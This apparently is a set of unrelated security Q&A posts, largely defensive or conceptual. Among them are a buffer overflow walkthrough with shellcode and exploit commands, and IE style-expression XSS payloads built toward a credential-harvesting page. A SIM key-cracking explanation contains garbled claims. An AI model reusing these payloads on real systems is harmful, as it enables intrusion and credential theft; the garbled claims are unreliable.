How to keep a reasonable level of entropy in an encrypted file? Encrypted (or random) data, by nature exhibit a high entropy value and non unencrypted data will exhibit a low entropy value. From an attacker point of view the precense of this high entropy value in a file can means that something is hidden.

My question is : how i can avoid this high entropy value by encrypting files ?
(is there actually exist an encryption algorithm who keep a reasonable level of entropy in the encrypted file ?)

You may be asking for steganography, where data is hidden in seemingly normal data/files. The hidden data can be encrypted or plaintext. There are many different applications of steganography, such as lists, text, images and file metadata.

Keeping entropy in encrypted data means insecure encryption. Think of rot13 or similar substitution ciphers where one character is always replaced by the same character. You have the same entropy in the ciphertext as in the plaintext but the plaintext is easily deduced from the ciphertext.

Good cryptographic algorithms depend on reliable pseudo-random number generators where every possible number has the same chance of appearing, but still leaving no clue as to which number is the next number. This results in high entropy so the plaintext is completely mumbled (very simplified explanation).

Note that hiding data (steganography) requires plenty of disk space since the wrapping data still needs to look "normal". Using image steganography also often results in noise or other effects that change the way the image looks.


Determine encoding/hashing methods used based on knowing the input and output only? If I know the initial value of a string and the resulting hash but have no access to the system that produces the output, how can I determine what has actually occurred so I can reproduce the hashing algorithm?

To give you an example let's say I have a list like so:

Nathan    b01f1c8a5cc02855a2fc19ffc0da421b
password  0b8b946432f1ac91f0b07bd5f8df6587
string    c741dd70bca16058ca3f62b2ee926ec6

I know the steps I took to get this were MD5(Base64("string")) but is there any way to determine that based on the above data alone? Aside from just trying a bunch of common hashing/encoding sequences on the original strings and hoping to stumble across a matching output? If I have a lot of input strings and output hashes does that help in any way for analysis?

Is there any way to determine that based on the above data alone aside from just trying a bunch of common hashing/encoding sequences on the original strings and hoping to stumble across a matching output?

No, there is no other way. Sometimes we get hints from knowing the length of things (MD5 hashes are shorter than SHA-256, etc.), but that still doesn't promise you anything.


SIM card malware advice My goal is to communicate with a sim card via binary sms and upload new firmware and/or talk to sim card api to retrieve data such as gps coordinates etc... I am not sure how to construct these binary messages. Does anyone know where I could find a program or some papers or research documents about this sort of stuff? I have watched black hat presentation on sim card vulnerability's. However this video presentation does not have provide information on were I want to succeed. I could not find much on google. I have previously been testing ISP servers for vulnerability's and now have decided to look into sim card security.

It is possible to exploit a SIM card's SMS, OTA (over the air) update system that is built with Java Card, that is, a subset of Java that allows applets to run on small memory devices.

OTA commands, such as software updates, are cryptographically secured SMS messages, which are delivered directly to the SIM.
While the option exists to use state-of-the-art AES or the somewhat outdated 3DES algorithm for OTA, many (if not most) SIM cards still rely on the '70s-era DES cipher.

Send an improperly signed binary SMS to a target device using a SIM encoded with DES, which was not executed by the SIM because of a signature verification failure. However, while rejecting the code, the SIM responded with an error code that contained the device's cryptographic signature, a 56-bit private key. It was then possible to decrypt the key using common cracking techniques.

With this key in hand hackers are able to sign malicious software updates with the key and send those updates to the device. The attacker is also able to download Java Card applets, send SMS messages, change voicemail numbers, and query location data.

If you want more technical details on how to reproduce that yourself I recommend google since I never exploited a SIM myself just google for "sim javacard vulnerability", "sim exploit" and you probably will find it yourself.


Studies on Android users' attitude to security I'm a final year BSc. student of Computer Security & Forensics at the University of Bedfordshire (UK). I'm investigating perceptions of security on Android platforms, and how to  educate users of the need to use good security practices and products to protect their devices and data.

I'm looking for links to academic research on Android users' attitudes, perceptions, and behavior regarding security, and for data about Android users' perceptions and experiences (good and bad) of security-related incidents where Android devices have been involved.

I don't have any experience of any security related incidents personally but I have found some references to help you out a bit.

Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security
http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf
French cops cuff man over €500K Android Trojan scam
 http://www.theregister.co.uk/2012/10/19/french_android_trojan_suspect_arrested/
Lookout Security  <-- Perhaps the leaders in mobile security

https://www.lookout.com
Nice IEEE published paper <-- might need to be on a Uni network to gain access
http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=4768655&tag=1


What's the difference between mitm attack and sniffing? What's the difference between MITM attack and sniffing? Also could anyone name a few other attacks similar to those?

Typically, an eavesdropper (sniffer) will be passive -- that is they will not modify the traffic.

Man-in-the-middle (MiTM) attacks usually imply an active adversary -- one who will change the contents of the message before passing it on.

The two are not entirely distinct, as a MiTM may use their active attack to read the contents of messages, or simply to disrupt communications.


How do I access a firewall log (Windows 10 w. Windows Defender) I am going through some event logs (in event viewer), and noticed I can't seem to find any firewall logs.  Windows Defender provides the firewall.  How do I get to the firewall logs that should be generated by Windows Defender, or are they not even generated?  I have searched through event viewer, the Windows Defender firewall GUI, and google searches have been unsuccessful (they generally point to older versions of Windows not using Windows Defender)!

Applies to

Windows 10
Windows Server 2016

To configure Windows Firewall to log dropped packets or successful connections, use the Windows Firewall with Advanced Security node in the Group Policy Management MMC snap-in.

Administrative credentials

To complete these procedures, you must be a member of the Domain Administrators group, or otherwise be delegated permissions to modify the GPOs.

To configure the Windows Firewall log

Open the Group Policy Management Console to Windows Firewall with Advanced Security (found in Local Computer Policy > Computer Configuration > Windows Settings > Security Settings > Windows Firewall with Advanced Security).
In the details pane, in the Overview section, click Windows Firewall Properties.

For each network location type (Domain, Private, Public), perform the following steps:

Click the tab that corresponds to the network location type.
Under Logging, click Customize.
The default path for the log is %windir%\system32\logfiles\firewall\pfirewall.log. If you want to change this, clear the "Not configured" check box and type the path to the new location, or click "Browse" to select a file location.

Important: The location you specify must have permissions assigned that permit the Windows Firewall service to write to the log file.
The default maximum file size for the log is 4,096 kilobytes (KB). If you want to change this, clear the Not configured check box, and type in the new size in KB, or use the up and down arrows to select a size. The file will not grow beyond this size; when the limit is reached, old log entries are deleted to make room for the newly created ones.
No logging occurs until you set one of following two options:

To create a log entry when Windows Firewall drops an incoming network packet, change "Log dropped packets" to "Yes."

To create a log entry when Windows Firewall allows an inbound connection, change "Log successful connections" to "Yes."

Click OK twice.

Resources

If you have any more questions you can see this whole guide and read more into it here:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log

Hopefully this helps you solve your problem!


Can schools track what I'm doing, even though I'm on my personal Gmail account? My school can track my browsing when I'm at home and using the Google account they gave me, the laptop is my personal one. Is there a way that they could track what I do, even though I'm on my other Google account? My school email has been on my laptop for a year or 2 and I'm just concerned that they could track things such as my bank information and business information.

No. They would have access to the stuff you do on your school account. They can't access everything just through their access to your school account.
There are other ways for them to see what you do on the computer if they have things installed on it.


Difference between access control systems that can/can't be compromised without valid credentials? Take the following examples:

When I run sshd, it can in theory grant access to anything that the process itself has access to, regardless of provided credentials. For example, I could in theory modify a single if statement in the sshd source to grant access to my home directory to anyone.

On the other hand, if I encrypt my home directory and it can only be decrypted with my login password, sshd (and a local root session, for that matter) could only access that information with either my password or some extreme coincidence of poor and malicious programming.

In the first case, my home directory is compromised if a single predicate misbehaves in sshd. In the second case, a compromise, accidental or otherwise, is extremely unlikely unless my password is compromised or the encryption algorithm is flawed.
We could also include analogous physical scenarios, and (in some sense) "security through obscurity", e.g., ssh couldn't connect to my machine without knowing its IP address.

Does this distinction occur somewhere in the discourse of access control? For example, if I wanted to refer to a system where an unreliable agent can easily compromise access, vs. one where that is extremely unlikely. (It seems like this is a superset of the DAC vs. MAC distinction.)

Why are you classifying a vulnerability leading to unauthorised access in sshd differently from that in encryption? In comments. you are differentiating based on "likelihood", but if you are talking conceptually, then they are equivalent and they are universally applicable in any discussion of access control. And since the concept is universal, it makes no sense to somehow discuss them separately.
What you are actually talking about is the process of risk assessment. That process occurs on a separate layer than simply discussing "access control". Risk assessments require context, which is where you then bring up likelihoods and impacts of the specific elements and threats involved. Risk assessments need to be done with every layer of control, including access control.


Explaining a buffer overflow vulnerability in C Given this C program:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strcpy(buf, argv[1]);
}

Built with:

gcc -m32 -z execstack prog.c -o prog

Given shell code:

EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')

The program is exploitable with the commands:

./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')

where I got the addresses from:

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax

I understand the meaning of the AAAA paddings in the middle, I calculated the 991 based on the length of buf in the program and the length of $EGG.

What I don't understand is why any of these addresses with call *%eax trigger the execution of the shellcode copied to the beginning of buf. As far as I understand, I'm overwriting the return address with 0x8048387 (or the other one), what I don't understand is why this leads to jumping to the shellcode.

I got this far by reading Smashing the stack for fun and profit. But the article uses a different approach of guessing a relative address to jump to the shellcode. I'm puzzled by why this more simple, alternative solution works, straight without guesswork.

On 32-bit x86 processors, with the ELF format in use on Linux systems, the function call convention states (page 3-12) that:

  A function that returns an integral or pointer value places its result in register %eax.

In your program, the last element of main() is a call to strcpy(). That function returns a copy of its first argument, here a pointer to the buf[] array. So, when the end of main() is reached, %eax still points to the buf[] array, so that's where the call *%eax will jump: into the array which contains the shellcode.

If unsure, see the generated assembly code:

$ gcc -m32 -z execstack -fno-stack-protector prog.s
$ cat prog.s
    .file   "prog.c"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    pushl   %ebp
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    movl    %esp, %ebp
    .cfi_def_cfa_register 5
    andl    $-16, %esp
    subl    $1040, %esp
    movl    12(%ebp), %eax
    addl    $4, %eax
    movl    (%eax), %eax
    movl    %eax, 4(%esp)
    leal    16(%esp), %eax
    movl    %eax, (%esp)
    call    strcpy
    leave
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
    .section    .note.GNU-stack,"",@progbits

See at the end ? After the call strcpy, there is only a leave, then a ret, neither of which modifying %eax. So when the ret is reached, %eax still contains the value which was set by the strcpy() function, and that's a pointer to the buf[] array.

If you add a return 0; after the call to strcpy(), then the exploit no longer works, because that return 0; will set %eax to 0 before returning; and the call *%eax will jump to address 0, triggering a segmentation fault. In the assembly code generated by GCC, you would see an extra movl $0, %eax before the leave.


What to do with the extra bytes in ECDHE-RSA-AES-GCM-SHA? I'm trying to implement, as an exercise, a protocol based on the cipher suite ECDHE-RSA-AES256-GCM-SHA384.

As I understand things, ECDHE is used for the key exchange, RSA for the authenticity of the ECDHE public key, AES (in GCM) for encipherment, and SHA to get a random-like key to use with AES from the ECDHE derived secret key.

Now the thing I don't understand is that AES256 requires a 256 bits key but SHA384 produces a 384 digest. So I have two questions:

Why not simply use SHA256 here to produce a digest whose size matches the expected size for the cipher algorithm key ? (Has it something to do with the fact that both AES256 and SHA384 operate faster on 64 bits architectures ?)
What operation should one perform to use the 384 bits digest as an AES256 key ? Just keep the first 256 bits ? Or am I missing something ?

According to RFC5246, the TLS 1.2 spec, SHA384 is used for signatures and MACs, not for a KDF.

Additionally, section 1.2 of the document specifies that all TLS 1.2 cipher suites use P_SHA256 as the PRF for Key Calculation, so they use a SHA256-based pseudorandom function defined in section 5.  The PRF specifies a way of generating exactly as much data as necessary (modulo the SHA-256 block size).  Excess data within the final block is simply discarded off the end.


Secure cloud encryption scheme, do you know what is the standard for this? I am wondering if the scenario below has a name or it is something in use?

The point of it is to keep data encrypted at cloud storage which is big storage therefore cheaper, but then do not allow for the hosting provider to read the data.

Also, the point is to not allow for keys compromise so this way the key would not be stored on the desktops. The desktops would receive the encrypted data over SSL when requested.

Now technically there would have to set of Cloud Storage APIs, so I am not asking for any product but if anything like that was ever made?

So for example, Decryptor would have to use the Cloud API to read, write, seek files (cloud API allows for e.g. reading for reading and writing to / from certain offsets).

Then on the Client API, I would need to have similar API, however I am not sure what encryption method would be the best? I think I should maybe go as with the LUKS? This is because if I want to append to file or change something in the middle I would need to download e.g. 16kb block and overwrite it.

I think for the password part I can use standard asymetric encryption mechanism so this way the keys are never revealed to the client and I think the RSA keys would be good for many reasons like prevent brute-forcing and don't lock clients upon unsuccessful attempts, it would be wrapped in the SDK anyway.

The fail would be if the encryption keys are stolen or the decryption service gets compromised.

Another point is to allow typical cloud API where clients can perform regular operations on the files, e.g. normally upload, update files so standard applications can use it.

This is designed to support cloud when highly sensitive data is used and cloud cannot be used. So this would be the step to actually make migration to Cloud Storage possible. With this it's much easier to write applications and control security of it.

Example usage scenario would be like this: web cam streaming video in single MP4 file, it connects to the Encryptor on-site, the encryptor in real-time writes the data to the cloud as it goes. At the end, the streaming application needs to over-write the header of the MP4 file. The streaming app does not handle any keys which could be used to decrypt the archive. The streaming happens in real-time, but if there are glitches the Encryptor machine can buffer it for a while.

The streaming app does not need to have anything specialized except for being able to use Cloud Storage API. It may still be required to use the user cert or user / password to upload the files and it is also using SSL to do it. The files can then be viewed by VLC by just pointing to the URL on Encryptor and entering username / password, so the video can be played in real time. VLC then can seek to the point in time without need to download and decrypt the file. The whole video can be in one file so it can be edited in video editor after downloading and then can be re-uploaded.

Many cloud backup schemes and products use this architecture. Vendors ship an appliance or client software which encrypts and also manages or integrates with customer key management, and encrypted data is shipped to cloud storage. Keys never leave customer facility. Good approach, very common. Tricky problems in the domain are key management in general and the interaction between deduplication/compression and encryption. The former are essential for economics, but they reduce entropy. Reducing entropy can leak information, sufficient to allow for compromise of encryption keys.


Unsecured Guest access on Macbook Pro I am concerned that my personal, home based Macbook Pro guest network access may be being used by an outside source.  Is there a way for me to identify user access, time logged in / out, etc?

Try:

$ cat /var/log/authd.log

This should show up events associated with user logins.


Token Based Authentication I have a React app that connects to a REST API for which I have to implement token based authentication. The only info stored in the token is the user id.

The following flow will be used:

User logs in, server sets the token and the refresh token in HttpOnly cookies.
On each request the server will check the validity of the token and the database will be queried to pull the user info.
If the token is expired, the refresh token will be used to get a new one.

I was thinking to check the user in the database on each request so I can invalidate the account instantly. Are there any problems with this flow?

I was thinking to check the user in the database on each request so I
  can invalidate the account instantly. Are there any problems with this
  flow?

I don't see anything glaringly wrong, but....

There are some downsides. Doing this, requires that every user-interaction lookup your database table. For a small-ish application with not many users, this shouldn't prove a problem. If you've got thousands of users, with thousands of interactions per hour, that's millions of user lookups. Can you database handle this?

The alternative, would be to do this check only when the token is refreshed instead -- that way, you look up the database only once per refresh interval (let's say 15 minutes). Then 1,000 concurrent users will only result in a maximum of 4,000 lookups of the user table per hour (something any db can handle). This also means that only one service in your app (the refresh end point) needs access to the user table, which gives you better control and granularity for protecting your sensitive user data.

Of course, this means that if you need to disable a user, the worst-case scenario you can do this in is 15 minutes. For some applications that might not be acceptable -- so falling back to your check per request might prove a better solution if indeed this is a requirement.

In short, I don't think there's anything wrong with this approach, but I wouldn't recommend it. Do the user check on refresh instead of every request, tokens were built so that every end-point/micro-service could authenticate the user token without having to go back to a singular database table or end-point.


Problem finding a vulnerability in memcpy I have some troubles to find the buffer overflow vulnerability in this piece of code, it is with memcpy but I am confused on the result it gives :

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int i;
        char username[128] = {0};
        char msg[2048] = {0};
         // the user types the command he wants
        i = read(STDIN_FILENO, msg, sizeof(msg)-1);
        memcpy( username, msg+2, i-2);

        return 0;
}

Does someone understand ? Thanks in advance!

There are several problems in the code:
The first one is that the target username is shorter than the source msg and that thus a long msg can cause a overflow of username. But given the code this results only in flowing into msg, i.e. no crash.

More interesting is the following part:

    int i;
    ...
    i = read(STDIN_FILENO, msg, sizeof(msg)-1);
    memcpy( username, msg+2, i-2);

If int i is 0 or 1 this will cause i-2 as the last argument of memcpy to be negative (i.e. -2 or -1). Since the type of the last argument is size_t which is usually unsigned this negative signed value will be treated as a huge unsigned value. Thus in effect the code gets on platforms with 64 bit size_t when i is 1:

    memcpy(username, msg+2, 0xffffffffffffffff)

This way the copy will quickly reach memory areas which don't belong to the process so that a segmentation fault occurs.

The needed values for i can be reached by either just closing the input (i=0) or giving exactly one byte of input (i=1, i.e. no additional new lines or similar) with for example

    echo -n "u" | ./crashme


Commodity Conversion Cables with Write Blockers Looking at write-blocking devices I've notice a large variety of specialized hardware based on different source connector types, including USB-to-USB write blockers. It seems as though it should be sufficient to use the latter device paired with simple *-to-USB adapters to handle the variety of connectors (saving hundreds of dollars in the process) so long as these adapters are not capable of writing to the data source by themselves. Does anyone have any additional information as to whether this is correct and considered a viable method of copying data sources universally, or are there operations in these adapters that could potentially taint the source data that makes them not an option?

The safest option is to use a write blocker as close to the device being made read-only as possible.  So, for example, if you're accessing a SATA drive over a USB-to-SATA adapter, use a SATA write blocker if at all possible.

Ultimately, this has to do with the fact that there are usually secondary command sets used for tunnelling commands through hardware protocol adapters.  The write blocker may not understand the command sets used to speak with the device on the other side of the adapter.  Using USB-to-SATA adapters as an example, you may see any of at least three command sets used, classic UMS, UAS, or SAT.  Pretty much all USB write blockers will handle UMS correctly, but only some handle UAS and most don't completely handle SAT (because that would require them to completely handle ATA commands too).

For the good quality write blockers, this ends up resulting in the adapter just not working without any side effects.  For the bad ones, it can let writes through, or possibly even contaminate the source device without any write commands being issued (because the write blocker may mangle the outbound command).  The problem here is that it's very difficult to be certain whether a given write blocker falls into the first type or the second type.


Page redirecting to "malicious" content Recently I was visiting a web site that was is hosted in China (I can tell by the IP, it's assigned to an University over there).

When I accessed their page today, it loaded but after the initial content was loaded, I was redirected to a Pokemon/Mario Bros weird page. Anyway, I was surprised. I've used Wireshark and I could see that upon the GET request and Server was sending an HTTP 302 "Moved Temporarily". I did connect then through an Internet proxy to see whether it's linked in some way to my IP. And surprise, I was able to connect without any redirection. Now I'm wondering, did they discover that I was connecting from outside China (Central Europe) and did a redirect based on my IP in Apache? Or is the site infected by some malware? If the later, How could I check the URL in a say sandbox for malicious code? Would a proxy, prevent a redirect?

My impression is that there is either a 302 setup at the domain level itself (possibly due to malicious intent), or as you mentioned an Apache (or nginx or whatever) redirect somehow setup on the web server itself. Whether this was intended or a result of malware I have no way of knowing with the given information. However, for an XSS attack, that usually requires the use of an external link with javascript written into the link itself. If you navigate directly to the website itself, XSS is most likely not the issue. As far as scanning for malware, you could use a remote scanner, but that will not provide as accurate results as scanning the filesystem itself, which I would imagine you don't have access to do.


State forces installation of SSL root CA, how to evade / mitigate? Kazakhstan has forced all users in its territory to install a state-issued SSL root CA certificate "aimed at enhancing the protection of citizens, government bodies and private companies from hacker attacks, Internet fraudsters and other types of cyber threats."1

The consequences is pretty straightforward: Anyone who controls the root CA knows everything you send through HTTPS, including your login passwords (provided the website relies on TLS-encrypted connections), your submitted forms and your credit cards.

In this case, is it still possible to send anything to a website, without any 3rd-party being able to intercept the connection and any data transmitted? Is there any way to avoid this MITM, or mitigate its impact?

There are a few options that you may have available:

You can check to see which sites have been potentially MITM'd by checking the cert tree for each site you visit. Click the lock icon, view the cert, then look at the issuing certs until you get to the root. If the root is the state root that you installed, then they very well could be monitoring any of the data you sent as if it is HTTP instead of HTTPS. This at least gives you some insight into the situation.
Put some trust in some of the sites you visit. Not all sites send password information in plain text, so the fact that the state can see that data doesn't necessarily mean that they have your password. This can be done using JavaScript client code that can do DH, and also hash passwords (among other methods). Not the most satisfying point to make, but it's something.
Use a VPN. While using the VPN, you can use a browser that doesn't have the root certs in question, so you will get a giant warning if you happen to encounter a site that has been MITM'd by them or anyone else. Of course, if they are doing more than HTTPS filtering, they may be attempting to block VPNs. This may also raise a red flag and make it obvious that you are working around their monitoring.
Use TOR. TOR effectively hides your traffic like a VPN does, but it can be a little stealthier about it and make it less obvious that you are trying to work around the state monitoring. There's a constant give and take between states that try to block or identify TOR traffic and the TOR developers. If your country isn't working as hard as another, then you likely get the most benefit.
Use a service like Amazon Workspaces, in which you make use of a remote desktop running in a cloud in another country. You are sending keyboard and mouse info, and you get back display and sound. These services often use their own protocols (like PCoIP in the case of Workspaces) which are often encrypted and don't look like traditional web traffic.

Bottom line: if your government wants to see what you're doing online and have demonstrated a willingness to use technology to do that, then they are likely going to adapt and evolve the technologies they use to enforce their desire. For you to evade them, you will have to be willing to adapt and evolve just a little faster. You must also be willing to take the chance that you may be caught, and face whatever actions are associated with that. I'm not suggesting that you do anything--just listing a few options that you could choose... or not. There are many options I didn't list, and many new ones are being created all the time. Good luck, and stay safe!


is this secure: email account that can only be accessed by sending and receiving emails within gmail i am creating a game of sorts where you use and earn credits to accomplish tasks. I am curious if you can effectively use gmail's security features to secure these submissions if the emails are all in one of the major "safe" ESPs - that use SPF and DMARC.

For simplicity let's just say every account except the game_host@myserver is a gmail email account.
https://support.google.com/a/topic/4388154?hl=en&ref_topic=29818

you obviously know it is coming from gmail and thereby has to be the correct sender/receiver.  no spoofing possible and the whole message should stay https the whole time right?
https://support.google.com/a/answer/60764?hl=en

Gmail's spam filter is only concerned with spam.  Gmail will deliver email with SPF failures, and an invalid or missing DKIM signature.   If you don't believe me, send a spoofed email to your self.

If you are concerned with spoofed email,  then it would be better to use a service such like the Sendgrid inbound parse webhook,  which will include detailed SPF and DMARC information for all incoming email.


PCI DSS 3.1 and Windows XP I'm looking for some clarification on the effects of PCI DSS v3.1.

In an consumer ecommerce context (e.g amazon.com), I'm assuming that customers attempting to make credit card purchases on the site, using Windows XP, would no longer be supported, due to the removal of TLS 1.0 as an acceptable protocol version. Is this correct?

Users of Windows XP with IE will be unable to purchase from PCI-compliant vendors on the Internet after DSS v3.1's prohibition of TLS 1.0 takes place by June of 2016.  (Most merchants will turn off TLS v1.0 somewhere before that to be compliant without a last-minute rush).

Of course, if they wish to use Chrome, Firefox, Opera, or any other modern browser under Windows XP, they will be continue to be able to make purchases.  Here's an excellent table of supported protocols by OS/Client by Qualys.

It's the combination of an unsupported browser on an unsupported OS that's killing the XP+IE combo.


Rerouting domains and the need for multiple SSL certificates If a domain URL is registered with a .com (www.example.com) and we would like to re-route to this domain from a second domain name with a .com.tr (www.example.com.tr), is this possible?

The .com domain is SSL certified.
Do I need a secondary SSL certificate in order to re-route the .com.tr domain to the .com domain?

You certainly need SSL certificates for both domains.   That does not necessarily mean two separate certificates, however.  While this is not a candidate for a wildcard cert, (since these are two actual domains, and not subdomains of a single domain) but the subject alternate name (SAN) field of a SSL certificate can contain multiple domain names, so you can have both domains listed within a single certificate.   This tends to be more expensive, but also  easier to manage.


Using dnscrypt on a public hotspot with a captive portal What strategy shall I take if I wanted to use a dnscrypt with a public hotspot that requires login through a captive portal?

Such hotspots require DNS settings to point to their servers (via DHCP) so that they redirect the first browser request, before allowing normal network use.

Just after connecting to the network and obtaining DHCP settings (and even before successful authorisation to the portal) all services running on my PC (maybe even regular programs checking for updates) will try to "call home" via the hotspot's DNS servers. Which I want to avoid.

On the other hand having DNS set to local dnscrypt proxy will not allow me to get an authorisation from the portal.

Is there a solution?

I thought of chaining dnsmasq with dnscrypt (which is what I do anyway) and configuring an exception for a specified domain in dnsmasq configuration (which I would later access from a browser). But then I have to insert a specific IP into a config file, which would require me to check which DNS servers are set through DHCP.

It's depends and might be messy.  Under OS X, I follow Cupertino's method and add networking connection link state monitoring in a script which fetches and compares the contents http://www.thinkdifferent.us.  Plus, I have a manual toggle script for slow links, incompletely-blocking captive portals and downloading Apple updates from this hemisphere, which are the main edge-cases but otherwise works reliably for probably about 2 years.  If some got adventurous, they'd make a system bar monitor OS X native app which shows their status... or roll all this muck into an app which has vendored dnsmasq and dnscrypt.

Three scripts are the heart of it.  One for checks actual internet access. The other is toggle-internet (automatic via internet-access network tests, forced available (dnscrypt on), forced unavailable (dnscrypt off)).  And, finally a daemon script runs continuously and adjusts accordingly by modifying dns servers using networksetup.  For other platforms, like Linux, it needs some work... for Windows it would need lots of work.

(For HA, I use osx -> dnsmasq brew install dnsmasq --with-dnssec -> 5 instances of dnscrypt brew install dnscrypt-proxy pointing to various non-logging servers.)

Source here


Are there specific sub-fields of Hacking? For example, network hacking, operating system hacking, website hacking, malware deployment.

Pardon my inexperience, but these seem like they require very specific skill-sets and labelling them all as 'Hacking' feels too broad.

Are there standard subfields of computer hacking? (I don't mean the white/grey/black hat types of hackers themselves). If so, what are the details of each?

Most security Capture the Flag competitions ('hacking competitions' if you will), assign challenges a few different categories:

Forensics
Exploitation
Reverse engineering
Network
Cryptography
Misc / Programming

If you're looking for a broad overview I'd recommend reading Hacking: The Art of Exploitation which covers each of the above and provides practical exercises.


Monitoring Kerberos Authentication Traffic I had developed an application that uses Windows Authentication in order to authenticate users in single hop. Then I developed this application in order to authenticate users again with Windows Authentication but being able for multi hop.

The multi hop scenario is working well. I have a computer A (client app), a computer B (IIS server) and a computer C (OLAP server).

When I am trying to monitor the network packages with Microsoft Network Monitor v3.4 in computer A (client server), I do not see any Kerberos v5 protocol packages. I see some GSSAPI Authentication in some other HTTP and TCP connection protocols though the monitor. So when may I see the Kerberos v5 protocol in monitoring tool?

To make the question more complex, does Kerberos v5 protocol used for exchange tickets beside client - KCD in Domain Controller and then the client uses this ticket though HTTP or TCP, is this what is happening?

So when may I see the Kerberos v5 protocol in monitoring tool?

Take a closer look at the GSSAPI traffic.

GSSAPI provides an interface to Generic Security Services.  Kerberos v5 is one of the Security Services supported by GSSAPI.  While it is possible to write code that directly exchanges Kerberos v5 traffic, it is common for systems that use "Kerberos v5" to implement it via GSSAPI.

This is in agreement with the Kerberos documentation, which says (in the Developing with GSSAPI chapter):
"We recommend using the GSSAPI [...] for secure network communication over using the libkrb5 API directly."

Summary: we can't be 100% sure without seeing your traffic, but probably the GSSAPI traffic you see is handling the Kerberos 5 mechanism.


Phishing/Malware redirection through AdExchange on Android Issue:

Yesterday I discovered a strange behaviour in the Chefkoch.de App. During the search for recipe,

Firefox opens up with a (German) phishing warning screen.

This happened not only on this specific recipe, but on almost every other recipe. My assumption is that it has something to do with the displayed ads.
The AEG ad was one of the ads displayed during the issue.

Incidence Response:

Immediately after the attack I wrote an email to the developers.
Today I got their answer, that this problem is not new to them, and they think it has something to do with Googles AdExchange service.

Today I tried to analyse the issue a bit more, but I wasn't able to recreate the issue again. I will update my Question with further information if I'll be able to recreate the issue.

Question:

Has anybody knowledge on such attacks? (Google didn't help me.)
How is it possible to create a browser intent, without user interaction, via ads?

Technical Details

App Version 2.2.8
Android Version: 5.1.1
Device: Oneplus One
User-Agent: Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0
Time: 01.09.2015 17:10:48

Edit

Some latest research in this field showed an overall Problem of the advertising networks.
https://blog.malwarebytes.org/malvertising-2/2015/09/large-malvertising-campaign-goes-almost-undetected/

The term you are looking for is "malvertising", or malicious code sent via ad networks.

If the mobile app you used had a known weakness in the code (common libraries) that the malicious code tried to exploit, it is entirely possible that it could launch a browser session.


Calling JavaScript functions from within a Style tag XSS I've identified an XSS in a client's application where they've failed to properly sanitize a variable. The application, however, is written in ASP.NET 2.x and they have request validation turned on.

I'm aware of the below string, which will bypass request validation and work on IE:

‹%tag style="xss:expression(alert(123))" ›

What I want to do though, rather than show the client a simple alert box, is to use the XSS to dynamically generate a full screen iframe of the app's login page and change it's post action to a credential harvesting script I host myself.

I have the code to generate this iframe and I know it works. What I'm struggling with is getting a JavaScript function to execute from within the tag style attribute. I thought the best way to achieve this would be to dynamically generate a <script src=..> node in the DOM. However, even though the code definitely works, it won't execute from within the tag style attribute.

So any suggestions on how to get proper JavaScript code execution from within a style attribute? Here is my current code (which isn't working):

<%tag style="xss:expression(
        function init()
                     {
         var nBody = document.getElementsByTagName('body')[0];
         var newInclude = document.createElement('script');
         newInclude.setAttribute('src','src.js');
         nBody.appendChild(newInclude);
         }

onload=init;
)">

Edit: thought I'd also add that this code work when converted to unicode:

function test(){alert(1);}test();

<IMG STYLE="xss:expression(eval(String.fromCharCode(102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 101, 115, 116, 40, 41, 123, 97, 108, 101, 114, 116, 40, 49, 41, 59, 125, 116, 101, 115, 116, 40, 41, 59)))">

An expression() must be a JavaScript expression. You have two statements, a function declaration followed by an assignment expression. Doing it with a single function expression works for me:

<div style="xss:expression(onload=function() {
    var newInclude = document.createElement('script');
    newInclude.src = 'src.js';
    document.body.appendChild(newInclude);
})">

(although I'm slightly surprised that it does without any extra layer of CSS \nn escaping!)


How to find just the first character or value of a MD5 hash string I want to know how to find just the first character or digit in first part of a 64 length string from a MD5 hash. For example, we have a hash:

f95debd50b95304af9de1975393069143b7fb7df10ea00d189657d55b89c555c

and MD5 is:

be254c231d70885f6db16c0399be3066

In this case, what is the solution to find "f" that is the first part of string from the MD5?

The MD5 pre-image resistance theoretically is broken bu not practically. Instead of the generic preimage attack with 2128 complexity, there is an attack that requires 2123.4 complexity. MD5, however, is not practically broken. You cannot reach the 123-bit search space in a meaningful time. Consider the collective power of BitCoin miners; in 2020/1/17 they reached 126.1314 Exahashes per second, that makes

267 SHA256 double hashes in a second, and
292 SHA256 double hashes in a year. So you need 221 years with that power.

What you asking is against the design principle of the hash functions; the avalanche criteria. That is changing one bit of input will flip approximately half of the output bits, randomly.

If you can find even a single bit better than the generic pre-image attack, then you have a theoretical weakness. you can use this attack like divide and conquer technique to reduce the overall pre-image attack complexity.


storing user's information without been able to access it For a university project of mine I am making a password manager online and I want to be able to store user's passwords on my server without being able to access it myself. Here is what I intend to do:

encrypt users' passwords with RSA encryption
store the keys used for encryption, encrypted with a long hash generated on the client side using the master password
Having the user type its master password every time some of the keys are used

But in this process there is a huge issue. I am not able to recover/generate new user password. What if they forgot their password.

Based on what I came up with there are two options:

Not giving the users ability to change their password - well this
seems like killing the product before the launch
Change user's password by keeping a copy of the key encrypted with
some other hash like security question  - this does not seem like an option since security questions are obsolete on most modern websites because of security risks.

